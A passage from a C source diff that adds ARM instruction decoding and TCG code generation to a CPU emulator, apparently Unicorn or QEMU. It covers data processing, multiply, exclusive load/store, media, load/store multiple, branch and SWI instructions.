& 4) + tcg_gen_sari_i32(tcg_ctx, tmp2, tmp2, 16); + else + gen_sxth(tmp2); + tmp64 = gen_muls_i64_i32(s, tmp, tmp2); + tcg_gen_shri_i64(tcg_ctx, tmp64, tmp64, 16); + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_i64_i32(tcg_ctx, tmp, tmp64); + tcg_temp_free_i64(tcg_ctx, tmp64); + if ((sh & 2) == 0) { + tmp2 = load_reg(s, rn); + gen_helper_add_setq(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + } + store_reg(s, rd, tmp); + } else { + /* 16 * 16 */ + tmp = load_reg(s, rm); + tmp2 = load_reg(s, rs); + gen_mulxy(s, tmp, tmp2, sh & 2, sh & 4); + tcg_temp_free_i32(tcg_ctx, tmp2); + if (op1 == 2) { + tmp64 = tcg_temp_new_i64(tcg_ctx); + tcg_gen_ext_i32_i64(tcg_ctx, tmp64, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + gen_addq(s, tmp64, rn, rd); + gen_storeq_reg(s, rn, rd, tmp64); + tcg_temp_free_i64(tcg_ctx, tmp64); + } else { + if (op1 == 0) { + tmp2 = load_reg(s, rn); + gen_helper_add_setq(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + } + store_reg(s, rd, tmp); + } + } + break; + default: + goto illegal_op; + } + } else if (((insn & 0x0e000000) == 0 && + (insn & 0x00000090) != 0x90) || + ((insn & 0x0e000000) == (1 << 25))) { + int set_cc, logic_cc, shiftop; + + op1 = (insn >> 21) & 0xf; + set_cc = (insn >> 20) & 1; + logic_cc = table_logic_cc[op1] & set_cc; + + /* data processing instruction */ + if (insn & (1 << 25)) { + /* immediate operand */ + val = insn & 0xff; + shift = ((insn >> 8) & 0xf) * 2; + if (shift) { + val = (val >> shift) | (val << (32 - shift)); + } + tmp2 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp2, val); + if (logic_cc && shift) { + gen_set_CF_bit31(s, tmp2); + } + } else { + /* register */ + rm = (insn) & 0xf; + tmp2 = load_reg(s, rm); + shiftop = (insn >> 5) & 3; + if (!(insn & (1 << 4))) { + shift = (insn >> 7) & 0x1f; + gen_arm_shift_im(s, tmp2, shiftop, shift, logic_cc); + } else { + rs = (insn >> 8) & 0xf; + tmp = load_reg(s, rs); + gen_arm_shift_reg(s, tmp2, shiftop, tmp, logic_cc); + } + } + if (op1 != 0x0f && op1 != 0x0d) { + rn = (insn >> 16) & 0xf; + tmp = load_reg(s, rn); + } else { + TCGV_UNUSED_I32(tmp); + } + rd = (insn >> 12) & 0xf; + switch(op1) { + case 0x00: + tcg_gen_and_i32(tcg_ctx, tmp, tmp, tmp2); + if (logic_cc) { + gen_logic_CC(s, tmp); + } + store_reg_bx(s, rd, tmp); + break; + case 0x01: + tcg_gen_xor_i32(tcg_ctx, tmp, tmp, tmp2); + if (logic_cc) { + gen_logic_CC(s, tmp); + } + store_reg_bx(s, rd, tmp); + break; + case 0x02: + if (set_cc && rd == 15) { + /* SUBS r15, ... is used for exception return. */ + if (IS_USER(s)) { + goto illegal_op; + } + gen_sub_CC(s, tmp, tmp, tmp2); + gen_exception_return(s, tmp); + } else { + if (set_cc) { + gen_sub_CC(s, tmp, tmp, tmp2); + } else { + tcg_gen_sub_i32(tcg_ctx, tmp, tmp, tmp2); + } + store_reg_bx(s, rd, tmp); + } + break; + case 0x03: + if (set_cc) { + gen_sub_CC(s, tmp, tmp2, tmp); + } else { + tcg_gen_sub_i32(tcg_ctx, tmp, tmp2, tmp); + } + store_reg_bx(s, rd, tmp); + break; + case 0x04: + if (set_cc) { + gen_add_CC(s, tmp, tmp, tmp2); + } else { + tcg_gen_add_i32(tcg_ctx, tmp, tmp, tmp2); + } + store_reg_bx(s, rd, tmp); + break; + case 0x05: + if (set_cc) { + gen_adc_CC(s, tmp, tmp, tmp2); + } else { + gen_add_carry(s, tmp, tmp, tmp2); + } + store_reg_bx(s, rd, tmp); + break; + case 0x06: + if (set_cc) { + gen_sbc_CC(s, tmp, tmp, tmp2); + } else { + gen_sub_carry(s, tmp, tmp, tmp2); + } + store_reg_bx(s, rd, tmp); + break; + case 0x07: + if (set_cc) { + gen_sbc_CC(s, tmp, tmp2, tmp); + } else { + gen_sub_carry(s, tmp, tmp2, tmp); + } + store_reg_bx(s, rd, tmp); + break; + case 0x08: + if (set_cc) { + tcg_gen_and_i32(tcg_ctx, tmp, tmp, tmp2); + gen_logic_CC(s, tmp); + } + tcg_temp_free_i32(tcg_ctx, tmp); + break; + case 0x09: + if (set_cc) { + tcg_gen_xor_i32(tcg_ctx, tmp, tmp, tmp2); + gen_logic_CC(s, tmp); + } + tcg_temp_free_i32(tcg_ctx, tmp); + break; + case 0x0a: + if (set_cc) { + gen_sub_CC(s, tmp, tmp, tmp2); + } + tcg_temp_free_i32(tcg_ctx, tmp); + break; + case 0x0b: + if (set_cc) { + gen_add_CC(s, tmp, tmp, tmp2); + } + tcg_temp_free_i32(tcg_ctx, tmp); + break; + case 0x0c: + tcg_gen_or_i32(tcg_ctx, tmp, tmp, tmp2); + if (logic_cc) { + gen_logic_CC(s, tmp); + } + store_reg_bx(s, rd, tmp); + break; + case 0x0d: + if (logic_cc && rd == 15) { + /* MOVS r15, ... is used for exception return. */ + if (IS_USER(s)) { + goto illegal_op; + } + gen_exception_return(s, tmp2); + } else { + if (logic_cc) { + gen_logic_CC(s, tmp2); + } + store_reg_bx(s, rd, tmp2); + } + break; + case 0x0e: + tcg_gen_andc_i32(tcg_ctx, tmp, tmp, tmp2); + if (logic_cc) { + gen_logic_CC(s, tmp); + } + store_reg_bx(s, rd, tmp); + break; + default: + case 0x0f: + tcg_gen_not_i32(tcg_ctx, tmp2, tmp2); + if (logic_cc) { + gen_logic_CC(s, tmp2); + } + store_reg_bx(s, rd, tmp2); + break; + } + if (op1 != 0x0f && op1 != 0x0d) { + tcg_temp_free_i32(tcg_ctx, tmp2); + } + } else { + /* other instructions */ + op1 = (insn >> 24) & 0xf; + switch(op1) { + case 0x0: + case 0x1: + /* multiplies, extra load/stores */ + sh = (insn >> 5) & 3; + if (sh == 0) { + if (op1 == 0x0) { + rd = (insn >> 16) & 0xf; + rn = (insn >> 12) & 0xf; + rs = (insn >> 8) & 0xf; + rm = (insn) & 0xf; + op1 = (insn >> 20) & 0xf; + switch (op1) { + case 0: case 1: case 2: case 3: case 6: + /* 32 bit mul */ + tmp = load_reg(s, rs); + tmp2 = load_reg(s, rm); + tcg_gen_mul_i32(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + if (insn & (1 << 22)) { + /* Subtract (mls) */ + ARCH(6T2); + tmp2 = load_reg(s, rn); + tcg_gen_sub_i32(tcg_ctx, tmp, tmp2, tmp); + tcg_temp_free_i32(tcg_ctx, tmp2); + } else if (insn & (1 << 21)) { + /* Add */ + tmp2 = load_reg(s, rn); + tcg_gen_add_i32(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + } + if (insn & (1 << 20)) + gen_logic_CC(s, tmp); + store_reg(s, rd, tmp); + break; + case 4: + /* 64 bit mul double accumulate (UMAAL) */ + ARCH(6); + tmp = load_reg(s, rs); + tmp2 = load_reg(s, rm); + tmp64 = gen_mulu_i64_i32(s, tmp, tmp2); + gen_addq_lo(s, tmp64, rn); + gen_addq_lo(s, tmp64, rd); + gen_storeq_reg(s, rn, rd, tmp64); + tcg_temp_free_i64(tcg_ctx, tmp64); + break; + case 8: case 9: case 10: case 11: + case 12: case 13: case 14: case 15: + /* 64 bit mul: UMULL, UMLAL, SMULL, SMLAL. */ + tmp = load_reg(s, rs); + tmp2 = load_reg(s, rm); + if (insn & (1 << 22)) { + tcg_gen_muls2_i32(tcg_ctx, tmp, tmp2, tmp, tmp2); + } else { + tcg_gen_mulu2_i32(tcg_ctx, tmp, tmp2, tmp, tmp2); + } + if (insn & (1 << 21)) { /* mult accumulate */ + TCGv_i32 al = load_reg(s, rn); + TCGv_i32 ah = load_reg(s, rd); + tcg_gen_add2_i32(tcg_ctx, tmp, tmp2, tmp, tmp2, al, ah); + tcg_temp_free_i32(tcg_ctx, al); + tcg_temp_free_i32(tcg_ctx, ah); + } + if (insn & (1 << 20)) { + gen_logicq_cc(s, tmp, tmp2); + } + store_reg(s, rn, tmp); + store_reg(s, rd, tmp2); + break; + default: + goto illegal_op; + } + } else { + rn = (insn >> 16) & 0xf; + rd = (insn >> 12) & 0xf; + if (insn & (1 << 23)) { + /* load/store exclusive */ + int op2 = (insn >> 8) & 3; + op1 = (insn >> 21) & 0x3; + + switch (op2) { + case 0: /* lda/stl */ + if (op1 == 1) { + goto illegal_op; + } + ARCH(8); + break; + case 1: /* reserved */ + goto illegal_op; + case 2: /* ldaex/stlex */ + ARCH(8); + break; + case 3: /* ldrex/strex */ + if (op1) { + ARCH(6K); + } else { + ARCH(6); + } + break; + } + + addr = tcg_temp_local_new_i32(tcg_ctx); + load_reg_var(s, addr, rn); + + /* Since the emulation does not have barriers, + the acquire/release semantics need no special + handling */ + if (op2 == 0) { + if (insn & (1 << 20)) { + tmp = tcg_temp_new_i32(tcg_ctx); + switch (op1) { + case 0: /* lda */ + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + break; + case 2: /* ldab */ + gen_aa32_ld8u(s, tmp, addr, get_mem_index(s)); + break; + case 3: /* ldah */ + gen_aa32_ld16u(s, tmp, addr, get_mem_index(s)); + break; + default: + abort(); + } + store_reg(s, rd, tmp); + } else { + rm = insn & 0xf; + tmp = load_reg(s, rm); + switch (op1) { + case 0: /* stl */ + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + break; + case 2: /* stlb */ + gen_aa32_st8(s, tmp, addr, get_mem_index(s)); + break; + case 3: /* stlh */ + gen_aa32_st16(s, tmp, addr, get_mem_index(s)); + break; + default: + abort(); + } + tcg_temp_free_i32(tcg_ctx, tmp); + } + } else if (insn & (1 << 20)) { + switch (op1) { + case 0: /* ldrex */ + gen_load_exclusive(s, rd, 15, addr, 2); + break; + case 1: /* ldrexd */ + gen_load_exclusive(s, rd, rd + 1, addr, 3); + break; + case 2: /* ldrexb */ + gen_load_exclusive(s, rd, 15, addr, 0); + break; + case 3: /* ldrexh */ + gen_load_exclusive(s, rd, 15, addr, 1); + break; + default: + abort(); + } + } else { + rm = insn & 0xf; + switch (op1) { + case 0: /* strex */ + gen_store_exclusive(s, rd, rm, 15, addr, 2); + break; + case 1: /* strexd */ + gen_store_exclusive(s, rd, rm, rm + 1, addr, 3); + break; + case 2: /* strexb */ + gen_store_exclusive(s, rd, rm, 15, addr, 0); + break; + case 3: /* strexh */ + gen_store_exclusive(s, rd, rm, 15, addr, 1); + break; + default: + abort(); + } + } + tcg_temp_free_i32(tcg_ctx, addr); + } else { + /* SWP instruction */ + rm = (insn) & 0xf; + + /* ??? This is not really atomic. However we know + we never have multiple CPUs running in parallel, + so it is good enough. */ + addr = load_reg(s, rn); + tmp = load_reg(s, rm); + tmp2 = tcg_temp_new_i32(tcg_ctx); + if (insn & (1 << 22)) { + gen_aa32_ld8u(s, tmp2, addr, get_mem_index(s)); + gen_aa32_st8(s, tmp, addr, get_mem_index(s)); + } else { + gen_aa32_ld32u(s, tmp2, addr, get_mem_index(s)); + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + } + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_temp_free_i32(tcg_ctx, addr); + store_reg(s, rd, tmp2); + } + } + } else { + int address_offset; + int load = insn & (1 << 20); + int wbit = insn & (1 << 21); + int pbit = insn & (1 << 24); + int doubleword = 0; + /* Misc load/store */ + rn = (insn >> 16) & 0xf; + rd = (insn >> 12) & 0xf; + if (!load && (sh & 2)) { + /* doubleword */ + ARCH(5TE); + if (rd & 1) { + /* UNPREDICTABLE; we choose to UNDEF */ + goto illegal_op; + } + load = (sh & 1) == 0; + doubleword = 1; + } + addr = load_reg(s, rn); + if (pbit) + gen_add_datah_offset(s, insn, 0, addr); + address_offset = 0; + if (doubleword) { + if (!load) { + /* store */ + tmp = load_reg(s, rd); + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_gen_addi_i32(tcg_ctx, addr, addr, 4); + tmp = load_reg(s, rd + 1); + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + } else { + /* load */ + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + store_reg(s, rd, tmp); + tcg_gen_addi_i32(tcg_ctx, addr, addr, 4); + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + rd++; + } + address_offset = -4; + } else if (load) { + /* load */ + tmp = tcg_temp_new_i32(tcg_ctx); + switch(sh) { + case 1: + gen_aa32_ld16u(s, tmp, addr, get_mem_index(s)); + break; + case 2: + gen_aa32_ld8s(s, tmp, addr, get_mem_index(s)); + break; + default: + case 3: + gen_aa32_ld16s(s, tmp, addr, get_mem_index(s)); + break; + } + } else { + /* store */ + tmp = load_reg(s, rd); + gen_aa32_st16(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + } + /* Perform base writeback before the loaded value to + ensure correct behavior with overlapping index registers. + ldrd with base writeback is is undefined if the + destination and index registers overlap. */ + if (!pbit) { + gen_add_datah_offset(s, insn, address_offset, addr); + store_reg(s, rn, addr); + } else if (wbit) { + if (address_offset) + tcg_gen_addi_i32(tcg_ctx, addr, addr, address_offset); + store_reg(s, rn, addr); + } else { + tcg_temp_free_i32(tcg_ctx, addr); + } + if (load) { + /* Complete the load. */ + store_reg(s, rd, tmp); + } + } + break; + case 0x4: + case 0x5: + goto do_ldst; + case 0x6: + case 0x7: + if (insn & (1 << 4)) { + ARCH(6); + /* Armv6 Media instructions. */ + rm = insn & 0xf; + rn = (insn >> 16) & 0xf; + rd = (insn >> 12) & 0xf; + rs = (insn >> 8) & 0xf; + switch ((insn >> 23) & 3) { + case 0: /* Parallel add/subtract. */ + op1 = (insn >> 20) & 7; + tmp = load_reg(s, rn); + tmp2 = load_reg(s, rm); + sh = (insn >> 5) & 7; + if ((op1 & 3) == 0 || sh == 5 || sh == 6) + goto illegal_op; + gen_arm_parallel_addsub(s, op1, sh, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + store_reg(s, rd, tmp); + break; + case 1: + if ((insn & 0x00700020) == 0) { + /* Halfword pack. */ + tmp = load_reg(s, rn); + tmp2 = load_reg(s, rm); + shift = (insn >> 7) & 0x1f; + if (insn & (1 << 6)) { + /* pkhtb */ + if (shift == 0) + shift = 31; + tcg_gen_sari_i32(tcg_ctx, tmp2, tmp2, shift); + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, 0xffff0000); + tcg_gen_ext16u_i32(tcg_ctx, tmp2, tmp2); + } else { + /* pkhbt */ + if (shift) + tcg_gen_shli_i32(tcg_ctx, tmp2, tmp2, shift); + tcg_gen_ext16u_i32(tcg_ctx, tmp, tmp); + tcg_gen_andi_i32(tcg_ctx, tmp2, tmp2, 0xffff0000); + } + tcg_gen_or_i32(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + store_reg(s, rd, tmp); + } else if ((insn & 0x00200020) == 0x00200000) { + /* [us]sat */ + tmp = load_reg(s, rm); + shift = (insn >> 7) & 0x1f; + if (insn & (1 << 6)) { + if (shift == 0) + shift = 31; + tcg_gen_sari_i32(tcg_ctx, tmp, tmp, shift); + } else { + tcg_gen_shli_i32(tcg_ctx, tmp, tmp, shift); + } + sh = (insn >> 16) & 0x1f; + tmp2 = tcg_const_i32(tcg_ctx, sh); + if (insn & (1 << 22)) + gen_helper_usat(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + else + gen_helper_ssat(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + store_reg(s, rd, tmp); + } else if ((insn & 0x00300fe0) == 0x00200f20) { + /* [us]sat16 */ + tmp = load_reg(s, rm); + sh = (insn >> 16) & 0x1f; + tmp2 = tcg_const_i32(tcg_ctx, sh); + if (insn & (1 << 22)) + gen_helper_usat16(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + else + gen_helper_ssat16(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + store_reg(s, rd, tmp); + } else if ((insn & 0x00700fe0) == 0x00000fa0) { + /* Select bytes. */ + tmp = load_reg(s, rn); + tmp2 = load_reg(s, rm); + tmp3 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_ld_i32(tcg_ctx, tmp3, tcg_ctx->cpu_env, offsetof(CPUARMState, GE)); + gen_helper_sel_flags(tcg_ctx, tmp, tmp3, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp3); + tcg_temp_free_i32(tcg_ctx, tmp2); + store_reg(s, rd, tmp); + } else if ((insn & 0x000003e0) == 0x00000060) { + tmp = load_reg(s, rm); + shift = (insn >> 10) & 3; + /* ??? In many cases it's not necessary to do a + rotate, a shift is sufficient. */ + if (shift != 0) + tcg_gen_rotri_i32(tcg_ctx, tmp, tmp, shift * 8); + op1 = (insn >> 20) & 7; + switch (op1) { + case 0: gen_sxtb16(tmp); break; + case 2: gen_sxtb(tmp); break; + case 3: gen_sxth(tmp); break; + case 4: gen_uxtb16(tmp); break; + case 6: gen_uxtb(tmp); break; + case 7: gen_uxth(tmp); break; + default: goto illegal_op; + } + if (rn != 15) { + tmp2 = load_reg(s, rn); + if ((op1 & 3) == 0) { + gen_add16(s, tmp, tmp2); + } else { + tcg_gen_add_i32(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + } + } + store_reg(s, rd, tmp); + } else if ((insn & 0x003f0f60) == 0x003f0f20) { + /* rev */ + tmp = load_reg(s, rm); + if (insn & (1 << 22)) { + if (insn & (1 << 7)) { + gen_revsh(s, tmp); + } else { + ARCH(6T2); + gen_helper_rbit(tcg_ctx, tmp, tmp); + } + } else { + if (insn & (1 << 7)) + gen_rev16(s, tmp); + else + tcg_gen_bswap32_i32(tcg_ctx, tmp, tmp); + } + store_reg(s, rd, tmp); + } else { + goto illegal_op; + } + break; + case 2: /* Multiplies (Type 3). */ + switch ((insn >> 20) & 0x7) { + case 5: + if (((insn >> 6) ^ (insn >> 7)) & 1) { + /* op2 not 00x or 11x : UNDEF */ + goto illegal_op; + } + /* Signed multiply most significant [accumulate]. + (SMMUL, SMMLA, SMMLS) */ + tmp = load_reg(s, rm); + tmp2 = load_reg(s, rs); + tmp64 = gen_muls_i64_i32(s, tmp, tmp2); + + if (rd != 15) { + tmp = load_reg(s, rd); + if (insn & (1 << 6)) { + tmp64 = gen_subq_msw(s, tmp64, tmp); + } else { + tmp64 = gen_addq_msw(s, tmp64, tmp); + } + } + if (insn & (1 << 5)) { + tcg_gen_addi_i64(tcg_ctx, tmp64, tmp64, 0x80000000u); + } + tcg_gen_shri_i64(tcg_ctx, tmp64, tmp64, 32); + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_i64_i32(tcg_ctx, tmp, tmp64); + tcg_temp_free_i64(tcg_ctx, tmp64); + store_reg(s, rn, tmp); + break; + case 0: + case 4: + /* SMLAD, SMUAD, SMLSD, SMUSD, SMLALD, SMLSLD */ + if (insn & (1 << 7)) { + goto illegal_op; + } + tmp = load_reg(s, rm); + tmp2 = load_reg(s, rs); + if (insn & (1 << 5)) + gen_swap_half(s, tmp2); + gen_smul_dual(s, tmp, tmp2); + if (insn & (1 << 22)) { + /* smlald, smlsld */ + TCGv_i64 tmp64_2; + + tmp64 = tcg_temp_new_i64(tcg_ctx); + tmp64_2 = tcg_temp_new_i64(tcg_ctx); + tcg_gen_ext_i32_i64(tcg_ctx, tmp64, tmp); + tcg_gen_ext_i32_i64(tcg_ctx, tmp64_2, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_temp_free_i32(tcg_ctx, tmp2); + if (insn & (1 << 6)) { + tcg_gen_sub_i64(tcg_ctx, tmp64, tmp64, tmp64_2); + } else { + tcg_gen_add_i64(tcg_ctx, tmp64, tmp64, tmp64_2); + } + tcg_temp_free_i64(tcg_ctx, tmp64_2); + gen_addq(s, tmp64, rd, rn); + gen_storeq_reg(s, rd, rn, tmp64); + tcg_temp_free_i64(tcg_ctx, tmp64); + } else { + /* smuad, smusd, smlad, smlsd */ + if (insn & (1 << 6)) { + /* This subtraction cannot overflow. */ + tcg_gen_sub_i32(tcg_ctx, tmp, tmp, tmp2); + } else { + /* This addition cannot overflow 32 bits; + * however it may overflow considered as a + * signed operation, in which case we must set + * the Q flag. + */ + gen_helper_add_setq(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + } + tcg_temp_free_i32(tcg_ctx, tmp2); + if (rd != 15) + { + tmp2 = load_reg(s, rd); + gen_helper_add_setq(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + } + store_reg(s, rn, tmp); + } + break; + case 1: + case 3: + /* SDIV, UDIV */ + if (!arm_dc_feature(s, ARM_FEATURE_ARM_DIV)) { + goto illegal_op; + } + if (((insn >> 5) & 7) || (rd != 15)) { + goto illegal_op; + } + tmp = load_reg(s, rm); + tmp2 = load_reg(s, rs); + if (insn & (1 << 21)) { + gen_helper_udiv(tcg_ctx, tmp, tmp, tmp2); + } else { + gen_helper_sdiv(tcg_ctx, tmp, tmp, tmp2); + } + tcg_temp_free_i32(tcg_ctx, tmp2); + store_reg(s, rn, tmp); + break; + default: + goto illegal_op; + } + break; + case 3: + op1 = ((insn >> 17) & 0x38) | ((insn >> 5) & 7); + switch (op1) { + case 0: /* Unsigned sum of absolute differences. */ + ARCH(6); + tmp = load_reg(s, rm); + tmp2 = load_reg(s, rs); + gen_helper_usad8(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + if (rd != 15) { + tmp2 = load_reg(s, rd); + tcg_gen_add_i32(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + } + store_reg(s, rn, tmp); + break; + case 0x20: case 0x24: case 0x28: case 0x2c: + /* Bitfield insert/clear. */ + ARCH(6T2); + shift = (insn >> 7) & 0x1f; + i = (insn >> 16) & 0x1f; + i = i + 1 - shift; + if (rm == 15) { + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, 0); + } else { + tmp = load_reg(s, rm); + } + if (i != 32) { + tmp2 = load_reg(s, rd); + tcg_gen_deposit_i32(tcg_ctx, tmp, tmp2, tmp, shift, i); + tcg_temp_free_i32(tcg_ctx, tmp2); + } + store_reg(s, rd, tmp); + break; + case 0x12: case 0x16: case 0x1a: case 0x1e: /* sbfx */ + case 0x32: case 0x36: case 0x3a: case 0x3e: /* ubfx */ + ARCH(6T2); + tmp = load_reg(s, rm); + shift = (insn >> 7) & 0x1f; + i = ((insn >> 16) & 0x1f) + 1; + if (shift + i > 32) + goto illegal_op; + if (i < 32) { + if (op1 & 0x20) { + gen_ubfx(s, tmp, shift, (1u << i) - 1); + } else { + gen_sbfx(s, tmp, shift, i); + } + } + store_reg(s, rd, tmp); + break; + default: + goto illegal_op; + } + break; + } + break; + } + do_ldst: + /* Check for undefined extension instructions + * per the ARM Bible IE: + * xxxx 0111 1111 xxxx xxxx xxxx 1111 xxxx + */ + sh = (0xf << 20) | (0xf << 4); + if (op1 == 0x7 && ((insn & sh) == sh)) + { + goto illegal_op; + } + /* load/store byte/word */ + rn = (insn >> 16) & 0xf; + rd = (insn >> 12) & 0xf; + tmp2 = load_reg(s, rn); + if ((insn & 0x01200000) == 0x00200000) { + /* ldrt/strt */ + i = MMU_USER_IDX; + } else { + i = get_mem_index(s); + } + if (insn & (1 << 24)) + gen_add_data_offset(s, insn, tmp2); + if (insn & (1 << 20)) { + /* load */ + tmp = tcg_temp_new_i32(tcg_ctx); + if (insn & (1 << 22)) { + gen_aa32_ld8u(s, tmp, tmp2, i); + } else { + gen_aa32_ld32u(s, tmp, tmp2, i); + } + } else { + /* store */ + tmp = load_reg(s, rd); + if (insn & (1 << 22)) { + gen_aa32_st8(s, tmp, tmp2, i); + } else { + gen_aa32_st32(s, tmp, tmp2, i); + } + tcg_temp_free_i32(tcg_ctx, tmp); + } + if (!(insn & (1 << 24))) { + gen_add_data_offset(s, insn, tmp2); + store_reg(s, rn, tmp2); + } else if (insn & (1 << 21)) { + store_reg(s, rn, tmp2); + } else { + tcg_temp_free_i32(tcg_ctx, tmp2); + } + if (insn & (1 << 20)) { + /* Complete the load. */ + store_reg_from_load(s, rd, tmp); + } + break; + case 0x08: + case 0x09: + { + int j, n, user, loaded_base; + TCGv_i32 loaded_var; + /* load/store multiple words */ + /* XXX: store correct base if write back */ + user = 0; + if (insn & (1 << 22)) { + if (IS_USER(s)) + goto illegal_op; /* only usable in supervisor mode */ + + if ((insn & (1 << 15)) == 0) + user = 1; + } + rn = (insn >> 16) & 0xf; + addr = load_reg(s, rn); + + /* compute total size */ + loaded_base = 0; + TCGV_UNUSED_I32(loaded_var); + n = 0; + for(i=0;i<16;i++) { + if (insn & (1 << i)) + n++; + } + /* XXX: test invalid n == 0 case ? */ + if (insn & (1 << 23)) { + if (insn & (1 << 24)) { + /* pre increment */ + tcg_gen_addi_i32(tcg_ctx, addr, addr, 4); + } else { + /* post increment */ + } + } else { + if (insn & (1 << 24)) { + /* pre decrement */ + tcg_gen_addi_i32(tcg_ctx, addr, addr, -(n * 4)); + } else { + /* post decrement */ + if (n != 1) + tcg_gen_addi_i32(tcg_ctx, addr, addr, -((n - 1) * 4)); + } + } + j = 0; + for(i=0;i<16;i++) { + if (insn & (1 << i)) { + if (insn & (1 << 20)) { + /* load */ + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + if (user) { + tmp2 = tcg_const_i32(tcg_ctx, i); + gen_helper_set_user_reg(tcg_ctx, tcg_ctx->cpu_env, tmp2, tmp); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp); + } else if (i == rn) { + loaded_var = tmp; + loaded_base = 1; + } else { + store_reg_from_load(s, i, tmp); + } + } else { + /* store */ + if (i == 15) { + /* special case: r15 = PC + 8 */ + val = (long)s->pc + 4; + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, val); + } else if (user) { + tmp = tcg_temp_new_i32(tcg_ctx); + tmp2 = tcg_const_i32(tcg_ctx, i); + gen_helper_get_user_reg(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + } else { + tmp = load_reg(s, i); + } + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + } + j++; + /* no need to add after the last transfer */ + if (j != n) + tcg_gen_addi_i32(tcg_ctx, addr, addr, 4); + } + } + if (insn & (1 << 21)) { + /* write back */ + if (insn & (1 << 23)) { + if (insn & (1 << 24)) { + /* pre increment */ + } else { + /* post increment */ + tcg_gen_addi_i32(tcg_ctx, addr, addr, 4); + } + } else { + if (insn & (1 << 24)) { + /* pre decrement */ + if (n != 1) + tcg_gen_addi_i32(tcg_ctx, addr, addr, -((n - 1) * 4)); + } else { + /* post decrement */ + tcg_gen_addi_i32(tcg_ctx, addr, addr, -(n * 4)); + } + } + store_reg(s, rn, addr); + } else { + tcg_temp_free_i32(tcg_ctx, addr); + } + if (loaded_base) { + store_reg(s, rn, loaded_var); + } + if ((insn & (1 << 22)) && !user) { + /* Restore CPSR from SPSR. */ + tmp = load_cpu_field(s->uc, spsr); + gen_set_cpsr(s, tmp, CPSR_ERET_MASK); + tcg_temp_free_i32(tcg_ctx, tmp); + s->is_jmp = DISAS_UPDATE; + } + } + break; + case 0xa: + case 0xb: + { + int32_t offset; + + /* branch (and link) */ + val = (int32_t)s->pc; + if (insn & (1 << 24)) { + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, val); + store_reg(s, 14, tmp); + } + offset = sextract32(insn << 2, 0, 26); + val += offset + 4; + gen_jmp(s, val); + } + break; + case 0xc: + case 0xd: + case 0xe: + if (((insn >> 8) & 0xe) == 10) { + /* VFP. */ + if (disas_vfp_insn(s, insn)) { + goto illegal_op; + } + } else if (disas_coproc_insn(s, insn)) { + /* Coprocessor. */ + goto illegal_op; + } + break; + case 0xf: // qq + /* swi */ + gen_set_pc_im(s, s->pc); + s->svc_imm = extract32(insn, 0, 24); + s->is_jmp = DISAS_SWI; + break; + default: + illegal_op: + gen_exception_insn(s, 4, EXCP_UDEF, syn_uncategorized()); + break; + } + } +} + +/* Return true if this is a Thumb-2 logical op. */ +static int +thumb2_logic_op(int op) +{ + return (op < 8); +} + +/* Generate code for a Thumb-2 data processing operation. If CONDS is nonzero + then set condition code flags based on the result of the operation. + If SHIFTER_OUT is nonzero then set the carry flag for logical operations + to the high bit of T1. + Returns zero if the opcode is valid. */ + +static int +gen_thumb2_data_op(DisasContext *s, int op, int conds, uint32_t shifter_out, + TCGv_i32 t0, TCGv_i32 t1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int logic_cc; + + logic_cc = 